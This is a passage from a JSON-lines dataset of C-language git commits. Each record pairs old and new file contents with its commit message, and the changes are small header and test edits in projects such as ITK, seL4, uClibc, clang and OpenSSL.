for complex reference on Mac.","message":"COMP: Fix for complex reference on Mac.\n","lang":"C","license":"apache-2.0","repos":"jcfr\/ITK,heimdali\/ITK,hendradarwin\/ITK,hinerm\/ITK,stnava\/ITK,BlueBrain\/ITK,zachary-williamson\/ITK,fuentesdt\/InsightToolkit-dev,blowekamp\/ITK,BRAINSia\/ITK,richardbeare\/ITK,eile\/ITK,CapeDrew\/DCMTK-ITK,malaterre\/ITK,eile\/ITK,BRAINSia\/ITK,thewtex\/ITK,malaterre\/ITK,BlueBrain\/ITK,BRAINSia\/ITK,GEHC-Surgery\/ITK,eile\/ITK,hjmjohnson\/ITK,rhgong\/itk-with-dom,daviddoria\/itkHoughTransform,biotrump\/ITK,zachary-williamson\/ITK,BlueBrain\/ITK,eile\/ITK,eile\/ITK,fbudin69500\/ITK,fuentesdt\/InsightToolkit-dev,hinerm\/ITK,hjmjohnson\/ITK,biotrump\/ITK,InsightSoftwareConsortium\/ITK,malaterre\/ITK,wkjeong\/ITK,InsightSoftwareConsortium\/ITK,PlutoniumHeart\/ITK,vfonov\/ITK,daviddoria\/itkHoughTransform,cpatrick\/ITK-RemoteIO,stnava\/ITK,stnava\/ITK,zachary-williamson\/ITK,hendradarwin\/ITK,InsightSoftwareConsortium\/ITK,thewtex\/ITK,PlutoniumHeart\/ITK,PlutoniumHeart\/ITK,stnava\/ITK,cpatrick\/ITK-RemoteIO,Kitware\/ITK,LucasGandel\/ITK,zachary-williamson\/ITK,heimdali\/ITK,daviddoria\/itkHoughTransform,ajjl\/ITK,cpatrick\/ITK-RemoteIO,hjmjohnson\/ITK,spinicist\/ITK,richardbeare\/ITK,vfonov\/ITK,spinicist\/ITK,Kitware\/ITK,paulnovo\/ITK,msmolens\/ITK,LucasGandel\/ITK,hinerm\/ITK,atsnyder\/ITK,richardbeare\/ITK,GEHC-Surgery\/ITK,LucasGandel\/ITK,CapeDrew\/DITK,CapeDrew\/DCMTK-ITK,hendradarwin\/ITK,LucasGandel\/ITK,fedral\/ITK,stnava\/ITK,richardbeare\/ITK,BlueBrain\/ITK,eile\/ITK,GEHC-Surgery\/ITK,atsnyder\/ITK,LucasGandel\/ITK,wkjeong\/ITK,spinicist\/ITK,CapeDrew\/DCMTK-ITK,blowekamp\/ITK,rhgong\/itk-with-dom,paulnovo\/ITK,Kitware\/ITK,LucHermitte\/ITK,itkvideo\/ITK,itkvideo\/ITK,vfonov\/ITK,malaterre\/ITK,PlutoniumHeart\/ITK,GEHC-Surgery\/ITK,fbudin69500\/ITK,paulnovo\/ITK,richardbeare\/ITK,paulnovo\/ITK,paulnovo\/ITK,atsnyder\/ITK,itkvideo\/ITK,spinicist\/ITK,hjmjohnson\/ITK,atsnyder\/ITK,ajjl\/ITK,hinerm\/ITK,daviddoria\/itkHoughTransform,LucHermitte\/ITK,daviddoria\/itkHoughTransform,BRAINSia\/ITK,spinicist\/ITK,BRAINSia\/ITK,fuentesdt\/InsightToolkit-dev,hinerm\/ITK,zachary-williamson\/ITK,BlueBrain\/ITK,heimdali\/ITK,hjmjohnson\/ITK,ajjl\/ITK,hendradarwin\/ITK,fbudin69500\/ITK,cpatrick\/ITK-RemoteIO,vfonov\/ITK,Kitware\/ITK,hendradarwin\/ITK,vfonov\/ITK,thewtex\/ITK,BRAINSia\/ITK,blowekamp\/ITK,malaterre\/ITK,atsnyder\/ITK,atsnyder\/ITK,cpatrick\/ITK-RemoteIO,stnava\/ITK,hinerm\/ITK,fedral\/ITK,fbudin69500\/ITK,blowekamp\/ITK,biotrump\/ITK,jmerkow\/ITK,thewtex\/ITK,fbudin69500\/ITK,BlueBrain\/ITK,itkvideo\/ITK,itkvideo\/ITK,spinicist\/ITK,cpatrick\/ITK-RemoteIO,LucasGandel\/ITK,rhgong\/itk-with-dom,vfonov\/ITK,InsightSoftwareConsortium\/ITK,daviddoria\/itkHoughTransform,jmerkow\/ITK,CapeDrew\/DITK,hendradarwin\/ITK,CapeDrew\/DCMTK-ITK,BRAINSia\/ITK,LucHermitte\/ITK,cpatrick\/ITK-RemoteIO,jcfr\/ITK,wkjeong\/ITK,paulnovo\/ITK,InsightSoftwareConsortium\/ITK,InsightSoftwareConsortium\/ITK,GEHC-Surgery\/ITK,hjmjohnson\/ITK,rhgong\/itk-with-dom,biotrump\/ITK,daviddoria\/itkHoughTransform,jmerkow\/ITK,itkvideo\/ITK,PlutoniumHeart\/ITK,daviddoria\/itkHoughTransform,stnava\/ITK,richardbeare\/ITK,fuentesdt\/InsightToolkit-dev,blowekamp\/ITK,jcfr\/ITK,msmolens\/ITK,jmerkow\/ITK,malaterre\/ITK,ajjl\/ITK,rhgong\/itk-with-dom,PlutoniumHeart\/ITK,fbudin69500\/ITK,msmolens\/ITK,fuentesdt\/InsightToolkit-dev,fedral\/ITK,CapeDrew\/DCMTK-ITK,GEHC-Surgery\/ITK,biotrump\/ITK,atsnyder\/ITK,itkvideo\/ITK,BlueBrain\/ITK,jcfr\/ITK,eile\/ITK,CapeDrew\/DITK,biotrump\/ITK,rhgong\/itk-with-dom,fedral\/ITK,blowekamp\/ITK,zachary-williamson\/ITK,msmolens\/ITK,LucHermitte\/ITK,daviddoria\/itkHoughTransform,thewtex\/ITK,stnava\/ITK,ajjl\/ITK,zachary-williamson\/ITK,hinerm\/ITK,hinerm\/ITK,jcfr\/ITK,hjmjohnson\/ITK,CapeDrew\/DITK,hendradarwin\/ITK,jcfr\/ITK,PlutoniumHeart\/ITK,heimdali\/ITK,eile\/ITK,ajjl\/ITK,fuentesdt\/InsightToolkit-dev,wkjeong\/ITK,LucasGandel\/ITK,blowekamp\/ITK,rhgong\/itk-with-dom,malaterre\/ITK,LucHermitte\/ITK,paulnovo\/ITK,Kitware\/ITK,itkvideo\/ITK,wkjeong\/ITK,jcfr\/ITK,vfonov\/ITK,biotrump\/ITK,ajjl\/ITK,CapeDrew\/DITK,spinicist\/ITK,vfonov\/ITK,richardbeare\/ITK,thewtex\/ITK,heimdali\/ITK,CapeDrew\/DITK,jmerkow\/ITK,heimdali\/ITK,PlutoniumHeart\/ITK,CapeDrew\/DCMTK-ITK,LucHermitte\/ITK,fedral\/ITK,jcfr\/ITK,wkjeong\/ITK,CapeDrew\/DCMTK-ITK,hendradarwin\/ITK,fedral\/ITK,hinerm\/ITK,paulnovo\/ITK,CapeDrew\/DCMTK-ITK,jmerkow\/ITK,fuentesdt\/InsightToolkit-dev,stnava\/ITK,blowekamp\/ITK,msmolens\/ITK,fbudin69500\/ITK,BlueBrain\/ITK,eile\/ITK,zachary-williamson\/ITK,ajjl\/ITK,malaterre\/ITK,heimdali\/ITK,cpatrick\/ITK-RemoteIO,zachary-williamson\/ITK,msmolens\/ITK,fuentesdt\/InsightToolkit-dev,Kitware\/ITK,spinicist\/ITK,atsnyder\/ITK,GEHC-Surgery\/ITK,wkjeong\/ITK,heimdali\/ITK,CapeDrew\/DCMTK-ITK,Kitware\/ITK,msmolens\/ITK,wkjeong\/ITK,biotrump\/ITK,CapeDrew\/DITK,msmolens\/ITK,spinicist\/ITK,GEHC-Surgery\/ITK,LucasGandel\/ITK,jmerkow\/ITK,InsightSoftwareConsortium\/ITK,fedral\/ITK,LucHermitte\/ITK,fuentesdt\/InsightToolkit-dev,fbudin69500\/ITK,atsnyder\/ITK,thewtex\/ITK,LucHermitte\/ITK,itkvideo\/ITK,fedral\/ITK,jmerkow\/ITK,CapeDrew\/DITK,rhgong\/itk-with-dom,malaterre\/ITK,CapeDrew\/DITK,vfonov\/ITK"}
{"commit":"00477f3f6647d56d975186f3d13ec796ab94d97c","old_file":"src\/include\/coincident\/coincident.h","new_file":"src\/include\/coincident\/coincident.h","old_contents":"","new_contents":"#pragma once\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n\/**\n * Fork a number of child processes, to run in parallel multiple\n * times.\n *\n * @param nProcesses the number of processes to fork, at least 2\n *\n * @return the process ID from 0..nProcesses or -1 on failure\n *\/\nextern int coincident_fork(int n);\n\n\nextern int coincident_set_run_limit(int n_runs);\n\n\nextern int coincident_set_time_limit(int n_ms);\n\n#if defined(__cplusplus)\n};\n#endif\n","subject":"Add a public C-based API","message":"API: Add a public C-based API\n\nNot implemented yet though...\n","lang":"C","license":"lgpl-2.1","repos":"SimonKagstrom\/coincident,SimonKagstrom\/coincident"}
{"commit":"e2321d5144bb9807da20753df47b221e6f039a73","old_file":"src\/qt\/optionsdialog.h","new_file":"src\/qt\/optionsdialog.h","old_contents":"#ifndef OPTIONSDIALOG_H\n#define OPTIONSDIALOG_H\n\n#include <QDialog>\n\nnamespace Ui {\nclass OptionsDialog;\n}\nclass OptionsModel;\nclass MonitoredDataMapper;\nclass QValidatedLineEdit;\n\n\/** Preferences dialog. *\/\nclass OptionsDialog : public QDialog\n{\n    Q_OBJECT\n\npublic:\n    explicit OptionsDialog(QWidget *parent = 0);\n    ~OptionsDialog();\n\n    void setModel(OptionsModel *model);\n    void setMapper();\n\nprotected:\n    bool eventFilter(QObject *object, QEvent *event);\n\nprivate slots:\n    \/* enable only apply button *\/\n    void enableApplyButton();\n    \/* disable only apply button *\/\n    void disableApplyButton();\n    \/* enable apply button and OK button *\/\n    void enableSaveButtons();\n    \/* disable apply button and OK button *\/\n    void disableSaveButtons();\n    \/* set apply button and OK button state (enabled \/ disabled) *\/\n    void setSaveButtonState(bool fState);\n    void on_okButton_clicked();\n    void on_cancelButton_clicked();\n    void on_applyButton_clicked();\n\n    void showRestartWarning_Proxy();\n    void showRestartWarning_fDark();\n    void showRestartWarning_Lang();\n    void updateDisplayUnit();\n    void handleProxyIpValid(QValidatedLineEdit *object, bool fState);\n\nsignals:\n    void proxyIpValid(QValidatedLineEdit *object, bool fValid);\n\nprivate:\n    Ui::OptionsDialog *ui;\n    OptionsModel *model;\n    MonitoredDataMapper *mapper;\n    bool fRestartWarningDisplayed_Proxy;\n    bool fRestartWarningDisplayed_fDark;\n    bool fRestartWarningDisplayed_Lang;\n    bool fProxyIpValid;\n};\n\n#endif \/\/ OPTIONSDIALOG_H\n","new_contents":"#ifndef OPTIONSDIALOG_H\n#define OPTIONSDIALOG_H\n\n#include <QDialog>\n\nnamespace Ui {\nclass OptionsDialog;\n}\nclass OptionsModel;\nclass MonitoredDataMapper;\nclass QValidatedLineEdit;\n\n\/** Preferences dialog. *\/\nclass OptionsDialog : public QDialog\n{\n    Q_OBJECT\n\npublic:\n    explicit OptionsDialog(QWidget *parent = 0);\n    ~OptionsDialog();\n\n    void setModel(OptionsModel *model);\n    void setMapper();\n\nprotected:\n    bool eventFilter(QObject *object, QEvent *event);\n\nprivate slots:\n    \/* enable only apply button *\/\n    void enableApplyButton();\n    \/* disable only apply button *\/\n    void disableApplyButton();\n    \/* enable apply button and OK button *\/\n    void enableSaveButtons();\n    \/* disable apply button and OK button *\/\n    void disableSaveButtons();\n    \/* set apply button and OK button state (enabled \/ disabled) *\/\n    void setSaveButtonState(bool fState);\n    void on_okButton_clicked();\n    void on_cancelButton_clicked();\n    void on_applyButton_clicked();\n\n    void showRestartWarning_Proxy();\n    void showRestartWarning_fTor();\n    void showRestartWarning_Lang();\n    void updateDisplayUnit();\n    void handleProxyIpValid(QValidatedLineEdit *object, bool fState);\n\nsignals:\n    void proxyIpValid(QValidatedLineEdit *object, bool fValid);\n\nprivate:\n    Ui::OptionsDialog *ui;\n    OptionsModel *model;\n    MonitoredDataMapper *mapper;\n    bool fRestartWarningDisplayed_Proxy;\n    bool fRestartWarningDisplayed_fTor;\n    bool fRestartWarningDisplayed_Lang;\n    bool fProxyIpValid;\n};\n\n#endif \/\/ OPTIONSDIALOG_H\n","subject":"Use Tor refs - options headers","message":"Use Tor refs - options headers\n","lang":"C","license":"mit","repos":"mammix2\/boostcoin-core,mammix2\/boostcoin-core,mammix2\/boostcoin-core,mammix2\/boostcoin-core,mammix2\/boostcoin-core"}
{"commit":"f2253cbc614b005453ddd8935bc1bea6dce71472","old_file":"SimpleAT.h","new_file":"SimpleAT.h","old_contents":"#ifndef SIMPLEAT_H\n#define SIMPLEAT_H\n#include <stdint.h>\n\n#define AT_MAX_NUMBER_OF_ARGS 4\n#define CLIENT_FUNCTION_TYPE uint16_t\n#define ECHO_MODE_ON 1\n\n#define AT_NO_ARGS {0}\n#define AT_ARGS(...) {__VA_ARGS__, -1}\n#define AT_ARG(x) ((uint8_t) sizeof (x))\n#define AT_COMMAND(name, args, client) {(char*)#name, 0, args , 0, client}\n\n#define ATReplyByteArray(x) ((uint8_t *) &x), sizeof(x)\n\ntypedef struct {\n    char *command;\n    uint8_t sizeOfCommand;\n    int8_t argsSize[AT_MAX_NUMBER_OF_ARGS];\n    uint8_t numberOfArgs;\n    void (*client)(const CLIENT_FUNCTION_TYPE*);\n} ATCommandDescriptor;\n\nvoid ATEngineDriverInit(uint8_t (*open)(void),\n                        uint8_t (*read)(void),\n                        void (*write)(uint8_t),\n                        uint8_t (*available)(void));\n\nvoid ATEngineInit(ATCommandDescriptor *engine,  uint8_t sizeOfEngine);\nuint8_t ATEngineRun();\nvoid ATReplyWithByteArray(uint8_t *data, int size);\nvoid ATReplyWithByte(uint8_t data);\nvoid ATReplyWithString(char *str);\n\n\n\n#endif \/\/ SIMPLEAT_H\n","new_contents":"#ifndef SIMPLEAT_H\n#define SIMPLEAT_H\n#include <stdint.h>\n\n#define AT_MAX_NUMBER_OF_ARGS 4\n#define CLIENT_FUNCTION_TYPE uint16_t\n#define ECHO_MODE_ON 1\n\n#define AT_NO_ARGS {0}\n#define AT_ARGS(...) {__VA_ARGS__, -1}\n#define AT_TYPE(x) ((uint8_t) sizeof (x))\n#define AT_COMMAND(name, args, client) {(char*)#name, 0, args , 0, client}\n\n#define ATReplyByteArray(x) ((uint8_t *) &x), sizeof(x)\n\ntypedef struct {\n    char *command;\n    uint8_t sizeOfCommand;\n    int8_t argsSize[AT_MAX_NUMBER_OF_ARGS];\n    uint8_t numberOfArgs;\n    void (*client)(const CLIENT_FUNCTION_TYPE*);\n} ATCommandDescriptor;\n\nvoid ATEngineDriverInit(uint8_t (*open)(void),\n                        uint8_t (*read)(void),\n                        void (*write)(uint8_t),\n                        uint8_t (*available)(void));\n\nvoid ATEngineInit(ATCommandDescriptor *engine,  uint8_t sizeOfEngine);\nuint8_t ATEngineRun();\nvoid ATReplyWithByteArray(uint8_t *data, int size);\nvoid ATReplyWithByte(uint8_t data);\nvoid ATReplyWithString(char *str);\n\n\n\n#endif \/\/ SIMPLEAT_H\n","subject":"Improve name AT_ARG changed to AT_TYPE","message":"Improve name AT_ARG changed to AT_TYPE\n\nSigned-off-by: rodrigopex <3b2e0cd8e32147e0545aeecd8920e147dee7f189@gmail.com>\n","lang":"C","license":"mit","repos":"rodrigopex\/SimpleAT"}
{"commit":"1d777adbe4b7b314287a60b63e6f56212c8f286b","old_file":"include\/plat\/tk1\/plat\/machine\/hardware.h","new_file":"include\/plat\/tk1\/plat\/machine\/hardware.h","old_contents":"\/*\n * Copyright 2016, General Dynamics C4 Systems\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(GD_GPL)\n *\/\n\n#ifndef __PLAT_MACHINE_HARDWARE_H\n#define __PLAT_MACHINE_HARDWARE_H\n\n#define physBase          0x80000000\n#define kernelBase        0xe0000000\n#define physMappingOffset (kernelBase - physBase)\n#define BASE_OFFSET       physMappingOffset\n#define PPTR_TOP          0xfff00000\n#define PADDR_TOP         (PPTR_TOP - BASE_OFFSET)\n\n#endif\n","new_contents":"\/*\n * Copyright 2016, General Dynamics C4 Systems\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(GD_GPL)\n *\/\n\n#ifndef __PLAT_MACHINE_HARDWARE_H\n#define __PLAT_MACHINE_HARDWARE_H\n\n#include <plat\/machine\/hardware_gen.h>\n\n#define physBase          0x80000000\n#define kernelBase        0xe0000000\n#define physMappingOffset (kernelBase - physBase)\n#define BASE_OFFSET       physMappingOffset\n#define PPTR_TOP          0xfff00000\n#define PADDR_TOP         (PPTR_TOP - BASE_OFFSET)\n\n#endif\n","subject":"Correct previous merge with master","message":"arm-hyp: Correct previous merge with master\n","lang":"C","license":"bsd-2-clause","repos":"cmr\/seL4,cmr\/seL4,cmr\/seL4"}
{"commit":"32c23749becdede47f7c1540478f52ac11de7d59","old_file":"include\/common\/libfsm_common.h","new_file":"include\/common\/libfsm_common.h","old_contents":"","new_contents":"\/*\n * Copyright 2021 Scott Vokes\n *\n * See LICENCE for the full copyright terms.\n *\/\n\n#ifndef LIBFSM_COMMON_H\n#define LIBFSM_COMMON_H\n\n#if defined(__clang__)\n\/* Newer versions of clang's UBSan emit warnings about *all* unsigned\n * integer overflows. While they are defined behavior, overflow can\n * cause bugs. This macro ignores them for a particular function.\n * Overflow\/rollover is expected in when hashing, for example. *\/\n#define SUPPRESS_EXPECTED_UNSIGNED_INTEGER_OVERFLOW()\t\t\\\n\t__attribute__((no_sanitize(\"integer\")))\n#else\n#define SUPPRESS_EXPECTED_UNSIGNED_INTEGER_OVERFLOW()\n#endif\n\n#endif\n","subject":"Add a header w\/ macro to suppress unsigned integer UBSan warnings.","message":"Add a header w\/ macro to suppress unsigned integer UBSan warnings.\n\nThis header can be included by all of the various src\/* codebases.\n","lang":"C","license":"bsd-2-clause","repos":"katef\/libfsm,katef\/libfsm,katef\/libfsm,katef\/libfsm,katef\/libfsm"}
{"commit":"213f326810b6852bc54f38fd8bb71793f70f2c7a","old_file":"include\/linux\/mfd\/wm8350\/wdt.h","new_file":"include\/linux\/mfd\/wm8350\/wdt.h","old_contents":"","new_contents":"\/*\n * wdt.h  --  Watchdog Driver for Wolfson WM8350 PMIC\n *\n * Copyright 2007 Wolfson Microelectronics PLC\n *\n *  This program is free software; you can redistribute  it and\/or modify it\n *  under  the terms of  the GNU General  Public License as published by the\n *  Free Software Foundation;  either version 2 of the  License, or (at your\n *  option) any later version.\n *\/\n\n#ifndef __LINUX_MFD_WM8350_WDT_H_\n#define __LINUX_MFD_WM8350_WDT_H_\n\n#define WM8350_WDOG_HIB_MODE                    0x0080\n#define WM8350_WDOG_DEBUG                       0x0040\n#define WM8350_WDOG_MODE_MASK                   0x0030\n#define WM8350_WDOG_TO_MASK                     0x0007\n\n#define WM8350_IRQ_SYS_WDOG_TO\t\t\t24\n\n#endif\n","subject":"Add WM8350 watchdog register definitions","message":"mfd: Add WM8350 watchdog register definitions\n\nSigned-off-by: Mark Brown <b51b9a92386687a9ac927cebfa0f978adeb8cea5@opensource.wolfsonmicro.com>\nAcked-by: Samuel Ortiz <0ba86cb3f08bbb861958e54bd3438887adb4263c@openedhand.com>\nSigned-off-by: Liam Girdwood <a57ef363056e61beffa2efa59c68550d40db03b0@slimlogic.co.uk>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"2ea2f9ce2d3a23d54ab508ddd5d01ce0a54a4bbc","old_file":"include\/features.h","new_file":"include\/features.h","old_contents":"\n#ifndef __FEATURES_H\n#define __FEATURES_H\n\n\n\/* Major and minor version number of the uCLibc library package.  Use\n   these macros to test for features in specific releases.  *\/\n#define\t__UCLIBC__\t\t0\n#define\t__UCLIBC_MAJOR__\t9\n#define\t__UCLIBC_MINOR__\t1\n\n\n#ifdef __STDC__\n\n#define __P(x) x\n#define __const const\n\n\/* Almost ansi *\/\n#if __STDC__ != 1\n#define const\n#define volatile\n#endif\n\n#else \/* K&R *\/\n\n#define __P(x) ()\n#define __const\n#define const\n#define volatile\n\n#endif\n\n\/* No C++ *\/\n#define __BEGIN_DECLS\n#define __END_DECLS\n\n\/* GNUish things *\/\n#define __CONSTVALUE\n#define __CONSTVALUE2\n\n#define __USE_BSD\n#define __USE_MISC\n#define __USE_POSIX\n#define __USE_POSIX2\n#define _POSIX_THREAD_SAFE_FUNCTIONS\n\n#include <sys\/cdefs.h>\n\n\n#endif\n\n","new_contents":"\n#ifndef __FEATURES_H\n#define __FEATURES_H\n\n\n\/* Major and minor version number of the uCLibc library package.  Use\n   these macros to test for features in specific releases.  *\/\n#define\t__UCLIBC__\t\t0\n#define\t__UCLIBC_MAJOR__\t9\n#define\t__UCLIBC_MINOR__\t1\n\n\/* __restrict is known in EGCS 1.2 and above. *\/\n#if !defined __GNUC__ || __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ <\n\t92)\n# define __restrict     \/* Ignore *\/\n#endif\n\n\n#ifdef __STDC__\n\n#define __P(x) x\n#define __const const\n\n\/* Almost ansi *\/\n#if __STDC__ != 1\n#define const\n#define volatile\n#endif\n\n#else \/* K&R *\/\n\n#define __P(x) ()\n#define __const\n#define const\n#define volatile\n\n#endif\n\n\/* No C++ *\/\n#define __BEGIN_DECLS\n#define __END_DECLS\n\n\/* GNUish things *\/\n#define __CONSTVALUE\n#define __CONSTVALUE2\n\n#define __USE_BSD\n#define __USE_MISC\n#define __USE_POSIX\n#define __USE_POSIX2\n#define _POSIX_THREAD_SAFE_FUNCTIONS\n\n#include <sys\/cdefs.h>\n\n\n#endif\n\n","subject":"Remove __restrict when not supported -Erik","message":"Remove __restrict when not supported\n -Erik\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"4a50f0e986c8e57fb734bd66a93f951e89fa370a","old_file":"includes\/sv-comp.c","new_file":"includes\/sv-comp.c","old_contents":"void __VERIFIER_error() { abort(); }\n\nint __VERIFIER_nondet_int() { int val; return val; }","new_contents":"void __VERIFIER_error() { abort(); }\n\n\/\/ Some files define __VERIFIER_assume, some declare as extern. What happens when redefined?\nvoid __VERIFIER_assume(int expression) { if (!expression) { LOOP: goto LOOP; }; return; }\n\n\/\/ #define __VERIFIER_nondet(X) X __VERIFIER_nondet_##X() { X val; return val; }\n#define __VERIFIER_nondet2(X, Y) X __VERIFIER_nondet_##Y() { X val; return val; }\n#define __VERIFIER_nondet(X) __VERIFIER_nondet2(X, X)\n\n__VERIFIER_nondet2(_Bool, bool)\n__VERIFIER_nondet(char)\n__VERIFIER_nondet2(unsigned char, uchar)\n\/\/ int __VERIFIER_nondet_int() { int val; return val; }\n__VERIFIER_nondet(int)\n__VERIFIER_nondet2(unsigned int, uint)\n__VERIFIER_nondet(long)\n__VERIFIER_nondet2(unsigned long, ulong)\n\/\/ void* __VERIFIER_nondet_pointer() { void* val; return val; }\n__VERIFIER_nondet2(void*, pointer)","subject":"Add more common __VERIFIER functions","message":"Add more common __VERIFIER functions\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"ba9175808084f22081a755314f966fa26026a8d7","old_file":"test\/Driver\/qa_override.c","new_file":"test\/Driver\/qa_override.c","old_contents":"\/\/ RUN: env QA_OVERRIDE_GCC3_OPTIONS=\"#+-Os +-Oz +-O +-O3 +-Oignore +a +b +c xb Xa Omagic ^-###  \" %clang -target x86_64-apple-darwin %s -O2 b -O3 2>&1 | FileCheck %s\n\/\/ RUN: env QA_OVERRIDE_GCC3_OPTIONS=\"x-Werror +-mfoo\" %clang -target x86_64-apple-darwin -Werror %s -c -### 2>&1 | FileCheck %s -check-prefix=RM-WERROR\n\n\/\/ CHECK: \"-cc1\"\n\/\/ CHECK-NOT: \"-Oignore\"\n\/\/ CHECK: \"-Omagic\"\n\/\/ CHECK-NOT: \"-Oignore\"\n\n\/\/ RM-WERROR: ### QA_OVERRIDE_GCC3_OPTIONS: x-Werror +-mfoo\n\/\/ RM-WERROR-NEXT: ### Deleting argument -Werror\n\/\/ RM-WERROR-NEXT: ### Adding argument -mfoo at end\n\/\/ RM-WERROR: warning: argument unused during compilation: '-mfoo'\n\/\/ RM-WERROR-NOT: \"-Werror\"\n","new_contents":"\/\/ RUN: env QA_OVERRIDE_GCC3_OPTIONS=\"#+-Os +-Oz +-O +-O3 +-Oignore +a +b +c xb Xa Omagic ^-###  \" %clang -target x86_64-apple-darwin %s -O2 b -O3 2>&1 | FileCheck %s\n\/\/ RUN: env QA_OVERRIDE_GCC3_OPTIONS=\"x-Werror +-msse\" %clang -target x86_64-apple-darwin -Werror %s -c -### 2>&1 | FileCheck %s -check-prefix=RM-WERROR\n\n\/\/ CHECK: \"-cc1\"\n\/\/ CHECK-NOT: \"-Oignore\"\n\/\/ CHECK: \"-Omagic\"\n\/\/ CHECK-NOT: \"-Oignore\"\n\n\/\/ RM-WERROR: ### QA_OVERRIDE_GCC3_OPTIONS: x-Werror +-msse\n\/\/ RM-WERROR-NEXT: ### Deleting argument -Werror\n\/\/ RM-WERROR-NEXT: ### Adding argument -msse at end\n\/\/ RM-WERROR-NOT: \"-Werror\"\n","subject":"Use a valid option (-msse) for testing QA_OVERRIDE_GCC3_OPTIONS.","message":"Use a valid option (-msse) for testing QA_OVERRIDE_GCC3_OPTIONS.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@191300 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"3be568cfef886afadf3c820d5c194d3d98d4f250","old_file":"test\/Profile\/func-entry.c","new_file":"test\/Profile\/func-entry.c","old_contents":"\/\/ Test that function entry counts are set correctly.\n\n\/\/ RUN: llvm-profdata merge %S\/Inputs\/func-entry.proftext -o %t.profdata\n\/\/ RUN: %clang %s -o - -mllvm -disable-llvm-optzns -emit-llvm -S -fprofile-instr-use=%t.profdata | FileCheck %s\n\nvoid foo(void);\n\n\/\/ CHECK: define void @foo() #0 !prof [[FOO:![0-9]+]]\nvoid foo() { return; }\n\n\/\/ CHECK: define i32 @main() #1 !prof [[MAIN:![0-9]+]]\nint main() {\n  int i;\n  for (i = 0; i < 10000; i++) foo();\n  return 0;\n}\n\n\/\/ CHECK: [[FOO]] = !{!\"function_entry_count\", i64 1000}\n\/\/ CHECK: [[MAIN]] = !{!\"function_entry_count\", i64 1}\n","new_contents":"\/\/ Test that function entry counts are set correctly.\n\n\/\/ RUN: llvm-profdata merge %S\/Inputs\/func-entry.proftext -o %t.profdata\n\/\/ RUN: %clang %s -o - -mllvm -disable-llvm-optzns -emit-llvm -S -fprofile-instr-use=%t.profdata | FileCheck %s\n\nvoid foo(void);\n\n\/\/ CHECK: @foo() #0 !prof [[FOO:![0-9]+]]\nvoid foo() { return; }\n\n\/\/ CHECK: @main() #1 !prof [[MAIN:![0-9]+]]\nint main() {\n  int i;\n  for (i = 0; i < 10000; i++) foo();\n  return 0;\n}\n\n\/\/ CHECK: [[FOO]] = !{!\"function_entry_count\", i64 1000}\n\/\/ CHECK: [[MAIN]] = !{!\"function_entry_count\", i64 1}\n","subject":"Fix PPC failure. Adjust CHECK pattern.","message":"Fix PPC failure. Adjust CHECK pattern.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@238413 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"154fe2b4be294050b9975edbbe2d83294a83d6b6","old_file":"crypto\/lhash\/lhash_lcl.h","new_file":"crypto\/lhash\/lhash_lcl.h","old_contents":"\/*\n * Copyright 1995-2016 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the OpenSSL license (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\/\n\n\nstruct lhash_node_st {\n    void *data;\n    struct lhash_node_st *next;\n    unsigned long hash;\n};\n\nstruct lhash_st {\n    LHASH_NODE **b;\n    OPENSSL_LH_COMPFUNC comp;\n    OPENSSL_LH_HASHFUNC hash;\n    unsigned int num_nodes;\n    unsigned int num_alloc_nodes;\n    unsigned int p;\n    unsigned int pmax;\n    unsigned long up_load;      \/* load times 256 *\/\n    unsigned long down_load;    \/* load times 256 *\/\n    unsigned long num_items;\n    unsigned long num_expands;\n    unsigned long num_expand_reallocs;\n    unsigned long num_contracts;\n    unsigned long num_contract_reallocs;\n    unsigned long num_hash_calls;\n    unsigned long num_comp_calls;\n    unsigned long num_insert;\n    unsigned long num_replace;\n    unsigned long num_delete;\n    unsigned long num_no_delete;\n    unsigned long num_retrieve;\n    unsigned long num_retrieve_miss;\n    unsigned long 